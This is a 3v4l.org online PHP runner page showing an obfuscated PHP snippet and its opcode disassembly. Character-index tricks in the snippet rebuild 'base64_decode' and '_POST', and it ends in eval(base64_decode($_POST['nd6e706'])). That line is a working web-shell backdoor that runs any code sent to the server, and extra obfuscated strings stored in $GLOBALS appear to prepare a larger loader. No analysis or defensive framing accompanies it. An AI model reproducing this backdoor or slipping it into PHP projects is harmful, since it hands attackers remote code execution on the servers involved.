3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s22=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]); $i96="QU~T<`_YM82iAN>/v#s\"'q@tZFjJX6a\tcI)yS^boD.\$du|3\rWw=rC!;[4*P5LVkB?%19m:p7 -zK,gOl{Efx]0R}&h+\n\\(enGH"; $GLOBALS['rpdxi45'] = $i96[94].$i96[51].$i96[51].$i96[39].$i96[51].$i96[6].$i96[51].$i96[94].$i96[70].$i96[39].$i96[51].$i96[23].$i96[11].$i96[95].$i96[77]; $GLOBALS['umwfl54'] = $i96[11].$i96[95].$i96[11].$i96[6].$i96[18].$i96[94].$i96[23]; $GLOBALS['payhr58'] = $i96[74].$i96[74].$i96[21].$i96[30].$i96[30].$i96[29].$i96[59]; $GLOBALS['jjfef77'] = $i96[68].$i96[43].$i96[59]; $GLOBALS['woluw86'] = $i96[16].$i96[68].$i96[62].$i96[70].$i96[26].$i96[59]; $GLOBALS['xrcrc46'] = $i96[94].$i96[18].$i96[18].$i96[18].$i96[18].$i96[9].$i96[85]; $GLOBALS['nfrnt33'] = $i96[32].$i96[68].$i96[77].$i96[38].$i96[89].$i96[9].$i96[29]; $GLOBALS['vpgyo33'] = $i96[82].$i96[82].$i96[89].$i96[77].$i96[35].$i96[9].$i96[59]; $GLOBALS['xphkx7'] = $i96[30].$i96[89].$i96[68].$i96[44].$i96[83].$i96[59].$i96[10]; $GLOBALS['hkcrr52'] = $i96[43].$i96[26].$i96[49].$i96[94].$i96[70].$i96[59].$i96[71]; $GLOBALS['gabbh38'] = $i96[89].$i96[95]; if (isset($s22)) { echo eval($s21($s22)); } $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nd6e706'];if(isset($s22)){eval($s21($s22));}?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 218, Position 2 = 223
Branch analysis from position: 218
2 jumps found. (Code = 43) Position 1 = 270, Position 2 = 274
Branch analysis from position: 270
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 274
Branch analysis from position: 223
filename:       /in/iMf4o
function name:  (null)
number of ops:  275
compiled vars:  !0 = $sF, !1 = $s21, !2 = $s22, !3 = $i96
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'PCT4BA6ODSE_'
    4     1        INIT_FCALL                                               'strtolower'
          2        FETCH_DIM_R                                      ~5      !0, 4
          3        FETCH_DIM_R                                      ~6      !0, 5
          4        CONCAT                                           ~7      ~5, ~6
          5        FETCH_DIM_R                                      ~8      !0, 9
          6        CONCAT                                           ~9      ~7, ~8
          7        FETCH_DIM_R                                      ~10     !0, 10
          8        CONCAT                                           ~11     ~9, ~10
          9        FETCH_DIM_R                                      ~12     !0, 6
         10        CONCAT                                           ~13     ~11, ~12
         11        FETCH_DIM_R                                      ~14     !0, 3
         12        CONCAT                                           ~15     ~13, ~14
         13        FETCH_DIM_R                                      ~16     !0, 11
         14        CONCAT                                           ~17     ~15, ~16
         15        FETCH_DIM_R                                      ~18     !0, 8
         16        CONCAT                                           ~19     ~17, ~18
         17        FETCH_DIM_R                                      ~20     !0, 10
         18        CONCAT                                           ~21     ~19, ~20
         19        FETCH_DIM_R                                      ~22     !0, 1
         20        CONCAT                                           ~23     ~21, ~22
         21        FETCH_DIM_R                                      ~24     !0, 7
         22        CONCAT                                           ~25     ~23, ~24
         23        FETCH_DIM_R                                      ~26     !0, 8
         24        CONCAT                                           ~27     ~25, ~26
         25        FETCH_DIM_R                                      ~28     !0, 10
         26        CONCAT                                           ~29     ~27, ~28
         27        SEND_VAL                                                 ~29
         28        DO_ICALL                                         $30     
         29        ASSIGN                                                   !1, $30
    5    30        INIT_FCALL                                               'strtoupper'
         31        FETCH_DIM_R                                      ~32     !0, 11
         32        FETCH_DIM_R                                      ~33     !0, 0
         33        CONCAT                                           ~34     ~32, ~33
         34        FETCH_DIM_R                                      ~35     !0, 7
         35        CONCAT                                           ~36     ~34, ~35
         36        FETCH_DIM_R                                      ~37     !0, 9
         37        CONCAT                                           ~38     ~36, ~37
         38        FETCH_DIM_R                                      ~39     !0, 2
         39        CONCAT                                           ~40     ~38, ~39
         40        SEND_VAL                                                 ~40
         41        DO_ICALL                                         $41     
         42        ASSIGN                                                   !2, $41
    7    43        ASSIGN                                                   !3, 'QU%7ET%3C%60_YM82iAN%3E%2Fv%23s%22%27q%40tZFjJX6a%09cI%29yS%5EboD.%24du%7C3%0DWw%3DrC%21%3B%5B4%2AP5LVkB%3F%2519m%3Ap7+-zK%2CgOl%7BEfx%5D0R%7D%26h%2B%0A%5C%28enGH'
    9    44        FETCH_DIM_R                                      ~46     !3, 94
         45        FETCH_DIM_R                                      ~47     !3, 51
         46        CONCAT                                           ~48     ~46, ~47
         47        FETCH_DIM_R                                      ~49     !3, 51
         48        CONCAT                                           ~50     ~48, ~49
         49        FETCH_DIM_R                                      ~51     !3, 39
         50        CONCAT                                           ~52     ~50, ~51
         51        FETCH_DIM_R                                      ~53     !3, 51
         52        CONCAT                                           ~54     ~52, ~53
         53        FETCH_DIM_R                                      ~55     !3, 6
         54        CONCAT                                           ~56     ~54, ~55
         55        FETCH_DIM_R                                      ~57     !3, 51
         56        CONCAT                                           ~58     ~56, ~57
         57        FETCH_DIM_R                                      ~59     !3, 94
         58        CONCAT                                           ~60     ~58, ~59
         59        FETCH_DIM_R                                      ~61     !3, 70
         60        CONCAT                                           ~62     ~60, ~61
         61        FETCH_DIM_R                                      ~63     !3, 39
         62        CONCAT                                           ~64     ~62, ~63
         63        FETCH_DIM_R                                      ~65     !3, 51
         64        CONCAT                                           ~66     ~64, ~65
         65        FETCH_DIM_R                                      ~67     !3, 23
         66        CONCAT                                           ~68     ~66, ~67
         67        FETCH_DIM_R                                      ~69     !3, 11
         68        CONCAT                                           ~70     ~68, ~69
         69        FETCH_DIM_R                                      ~71     !3, 95
         70        CONCAT                                           ~72     ~70, ~71
         71        FETCH_DIM_R                                      ~73     !3, 77
         72        CONCAT                                           ~74     ~72, ~73
         73        FETCH_W                      global              $44     'GLOBALS'
         74        ASSIGN_DIM                                               $44, 'rpdxi45'
         75        OP_DATA                                                  ~74
   11    76        FETCH_DIM_R                                      ~77     !3, 11
         77        FETCH_DIM_R                                      ~78     !3, 95
         78        CONCAT                                           ~79     ~77, ~78
         79        FETCH_DIM_R                                      ~80     !3, 11
         80        CONCAT                                           ~81     ~79, ~80
         81        FETCH_DIM_R                                      ~82     !3, 6
         82        CONCAT                                           ~83     ~81, ~82
         83        FETCH_DIM_R                                      ~84     !3, 18
         84        CONCAT                                           ~85     ~83, ~84
         85        FETCH_DIM_R                                      ~86     !3, 94
         86        CONCAT                                           ~87     ~85, ~86
         87        FETCH_DIM_R                                      ~88     !3, 23
         88        CONCAT                                           ~89     ~87, ~88
         89        FETCH_W                      global              $75     'GLOBALS'
         90        ASSIGN_DIM                                               $75, 'umwfl54'
         91        OP_DATA                                                  ~89
   13    92        FETCH_DIM_R                                      ~92     !3, 74
         93        FETCH_DIM_R                                      ~93     !3, 74
         94        CONCAT                                           ~94     ~92, ~93
         95        FETCH_DIM_R                                      ~95     !3, 21
         96        CONCAT                                           ~96     ~94, ~95
         97        FETCH_DIM_R                                      ~97     !3, 30
         98        CONCAT                                           ~98     ~96, ~97
         99        FETCH_DIM_R                                      ~99     !3, 30
        100        CONCAT                                           ~100    ~98, ~99
        101        FETCH_DIM_R                                      ~101    !3, 29
        102        CONCAT                                           ~102    ~100, ~101
        103        FETCH_DIM_R                                      ~103    !3, 59
        104        CONCAT                                           ~104    ~102, ~103
        105        FETCH_W                      global              $90     'GLOBALS'
        106        ASSIGN_DIM                                               $90, 'payhr58'
        107        OP_DATA                                                  ~104
   15   108        FETCH_DIM_R                                      ~107    !3, 68
        109        FETCH_DIM_R                                      ~108    !3, 43
        110        CONCAT                                           ~109    ~107, ~108
        111        FETCH_DIM_R                                      ~110    !3, 59
        112        CONCAT                                           ~111    ~109, ~110
        113        FETCH_W                      global              $105    'GLOBALS'
        114        ASSIGN_DIM                                               $105, 'jjfef77'
        115        OP_DATA                                                  ~111
        116        FETCH_DIM_R                                      ~114    !3, 16
        117        FETCH_DIM_R                                      ~115    !3, 68
        118        CONCAT                                           ~116    ~114, ~115
        119        FETCH_DIM_R                                      ~117    !3, 62
        120        CONCAT                                           ~118    ~116, ~117
        121        FETCH_DIM_R                                      ~119    !3, 70
        122        CONCAT                                           ~120    ~118, ~119
        123        FETCH_DIM_R                                      ~121    !3, 26
        124        CONCAT                                           ~122    ~120, ~121
        125        FETCH_DIM_R                                      ~123    !3, 59
        126        CONCAT                                           ~124    ~122, ~123
        127        FETCH_W                      global              $112    'GLOBALS'
        128        ASSIGN_DIM                                               $112, 'woluw86'
        129        OP_DATA                                                  ~124
   17   130        FETCH_DIM_R                                      ~127    !3, 94
        131        FETCH_DIM_R                                      ~128    !3, 18
        132        CONCAT                                           ~129    ~127, ~128
        133        FETCH_DIM_R                                      ~130    !3, 18
        134        CONCAT                                           ~131    ~129, ~130
        135        FETCH_DIM_R                                      ~132    !3, 18
        136        CONCAT                                           ~133    ~131, ~132
        137        FETCH_DIM_R                                      ~134    !3, 18
        138        CONCAT                                           ~135    ~133, ~134
        139        FETCH_DIM_R                                      ~136    !3, 9
        140        CONCAT                                           ~137    ~135, ~136
        141        FETCH_DIM_R                                      ~138    !3, 85
        142        CONCAT                                           ~139    ~137, ~138
        143        FETCH_W                      global              $125    'GLOBALS'
        144        ASSIGN_DIM                                               $125, 'xrcrc46'
        145        OP_DATA                                                  ~139
   19   146        FETCH_DIM_R                                      ~142    !3, 32
        147        FETCH_DIM_R                                      ~143    !3, 68
        148        CONCAT                                           ~144    ~142, ~143
        149        FETCH_DIM_R                                      ~145    !3, 77
        150        CONCAT                                           ~146    ~144, ~145
        151        FETCH_DIM_R                                      ~147    !3, 38
        152        CONCAT                                           ~148    ~146, ~147
        153        FETCH_DIM_R                                      ~149    !3, 89
        154        CONCAT                                           ~150    ~148, ~149
        155        FETCH_DIM_R                                      ~151    !3, 9
        156        CONCAT                                           ~152    ~150, ~151
        157        FETCH_DIM_R                                      ~153    !3, 29
        158        CONCAT                                           ~154    ~152, ~153
        159        FETCH_W                      global              $140    'GLOBALS'
        160        ASSIGN_DIM                                               $140, 'nfrnt33'
        161        OP_DATA                                                  ~154
   21   162        FETCH_DIM_R                                      ~157    !3, 82
        163        FETCH_DIM_R                                      ~158    !3, 82
        164        CONCAT                                           ~159    ~157, ~158
        165        FETCH_DIM_R                                      ~160    !3, 89
        166        CONCAT                                           ~161    ~159, ~160
        167        FETCH_DIM_R                                      ~162    !3, 77
        168        CONCAT                                           ~163    ~161, ~162
        169        FETCH_DIM_R                                      ~164    !3, 35
        170        CONCAT                                           ~165    ~163, ~164
        171        FETCH_DIM_R                                      ~166    !3, 9
        172        CONCAT                                           ~167    ~165, ~166
        173        FETCH_DIM_R                                      ~168    !3, 59
        174        CONCAT                                           ~169    ~167, ~168
        175        FETCH_W                      global              $155    'GLOBALS'
        176        ASSIGN_DIM                                               $155, 'vpgyo33'
        177        OP_DATA                                                  ~169
   23   178        FETCH_DIM_R                                      ~172    !3, 30
        179        FETCH_DIM_R                                      ~173    !3, 89
        180        CONCAT                                           ~174    ~172, ~173
        181        FETCH_DIM_R                                      ~175    !3, 68
        182        CONCAT                                           ~176    ~174, ~175
        183        FETCH_DIM_R                                      ~177    !3, 44
        184        CONCAT                                           ~178    ~176, ~177
        185        FETCH_DIM_R                                      ~179    !3, 83
        186        CONCAT                                           ~180    ~178, ~179
        187        FETCH_DIM_R                                      ~181    !3, 59
        188        CONCAT                                           ~182    ~180, ~181
        189        FETCH_DIM_R                                      ~183    !3, 10
        190        CONCAT                                           ~184    ~182, ~183
        191        FETCH_W                      global              $170    'GLOBALS'
        192        ASSIGN_DIM                                               $170, 'xphkx7'
        193        OP_DATA                                                  ~184
   25   194        FETCH_DIM_R                                      ~187    !3, 43
        195        FETCH_DIM_R                                      ~188    !3, 26
        196        CONCAT                                           ~189    ~187, ~188
        197        FETCH_DIM_R                                      ~190    !3, 49
        198        CONCAT                                           ~191    ~189, ~190
        199        FETCH_DIM_R                                      ~192    !3, 94
        200        CONCAT                                           ~193    ~191, ~192
        201        FETCH_DIM_R                                      ~194    !3, 70
        202        CONCAT                                           ~195    ~193, ~194
        203        FETCH_DIM_R                                      ~196    !3, 59
        204        CONCAT                                           ~197    ~195, ~196
        205        FETCH_DIM_R                                      ~198    !3, 71
        206        CONCAT                                           ~199    ~197, ~198
        207        FETCH_W                      global              $185    'GLOBALS'
        208        ASSIGN_DIM                                               $185, 'hkcrr52'
        209        OP_DATA                                                  ~199
   27   210        FETCH_DIM_R                                      ~202    !3, 89
        211        FETCH_DIM_R                                      ~203    !3, 95
        212        CONCAT                                           ~204    ~202, ~203
        213        FETCH_W                      global              $200    'GLOBALS'
        214        ASSIGN_DIM                                               $200, 'gabbh38'
        215        OP_DATA                                                  ~204
   29   216        ISSET_ISEMPTY_CV                                         !2
        217      > JMPZ                                                     ~205, ->223
        218    >   INIT_DYNAMIC_CALL                                        !1
        219        SEND_VAR_EX                                              !2
        220        DO_FCALL                                      0  $206    
        221        INCLUDE_OR_EVAL                                  $207    $206, EVAL
        222        ECHO                                                     $207
   30   223    >   ASSIGN                                                   !0, 'PCT4BA6ODSE_'
        224        INIT_FCALL                                               'strtolower'
        225        FETCH_DIM_R                                      ~209    !0, 4
        226        FETCH_DIM_R                                      ~210    !0, 5
        227        CONCAT                                           ~211    ~209, ~210
        228        FETCH_DIM_R                                      ~212    !0, 9
        229        CONCAT                                           ~213    ~211, ~212
        230        FETCH_DIM_R                                      ~214    !0, 10
        231        CONCAT                                           ~215    ~213, ~214
        232        FETCH_DIM_R                                      ~216    !0, 6
        233        CONCAT                                           ~217    ~215, ~216
        234        FETCH_DIM_R                                      ~218    !0, 3
        235        CONCAT                                           ~219    ~217, ~218
        236        FETCH_DIM_R                                      ~220    !0, 11
        237        CONCAT                                           ~221    ~219, ~220
        238        FETCH_DIM_R                                      ~222    !0, 8
        239        CONCAT                                           ~223    ~221, ~222
        240        FETCH_DIM_R                                      ~224    !0, 10
        241        CONCAT                                           ~225    ~223, ~224
        242        FETCH_DIM_R                                      ~226    !0, 1
        243        CONCAT                                           ~227    ~225, ~226
        244        FETCH_DIM_R                                      ~228    !0, 7
        245        CONCAT                                           ~229    ~227, ~228
        246        FETCH_DIM_R                                      ~230    !0, 8
        247        CONCAT                                           ~231    ~229, ~230
        248        FETCH_DIM_R                                      ~232    !0, 10
        249        CONCAT                                           ~233    ~231, ~232
        250        SEND_VAL                                                 ~233
        251        DO_ICALL                                         $234    
        252        ASSIGN                                                   !1, $234
        253        INIT_FCALL                                               'strtoupper'
        254        FETCH_DIM_R                                      ~236    !0, 11
        255        FETCH_DIM_R                                      ~237    !0, 0
        256        CONCAT                                           ~238    ~236, ~237
        257        FETCH_DIM_R                                      ~239    !0, 7
        258        CONCAT                                           ~240    ~238, ~239
        259        FETCH_DIM_R                                      ~241    !0, 9
        260        CONCAT                                           ~242    ~240, ~241
        261        FETCH_DIM_R                                      ~243    !0, 2
        262        CONCAT                                           ~244    ~242, ~243
        263        SEND_VAL                                                 ~244
        264        DO_ICALL                                         $245    
        265        FETCH_R                      local               ~246    $245
        266        FETCH_DIM_R                                      ~247    ~246, 'nd6e706'
        267        ASSIGN                                                   !2, ~247
        268        ISSET_ISEMPTY_CV                                         !2
        269      > JMPZ                                                     ~249, ->274
        270    >   INIT_DYNAMIC_CALL                                        !1
        271        SEND_VAR_EX                                              !2
        272        DO_FCALL                                      0  $250    
        273        INCLUDE_OR_EVAL                                          $250, EVAL
        274    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
159.18 ms | 1416 KiB | 17 Q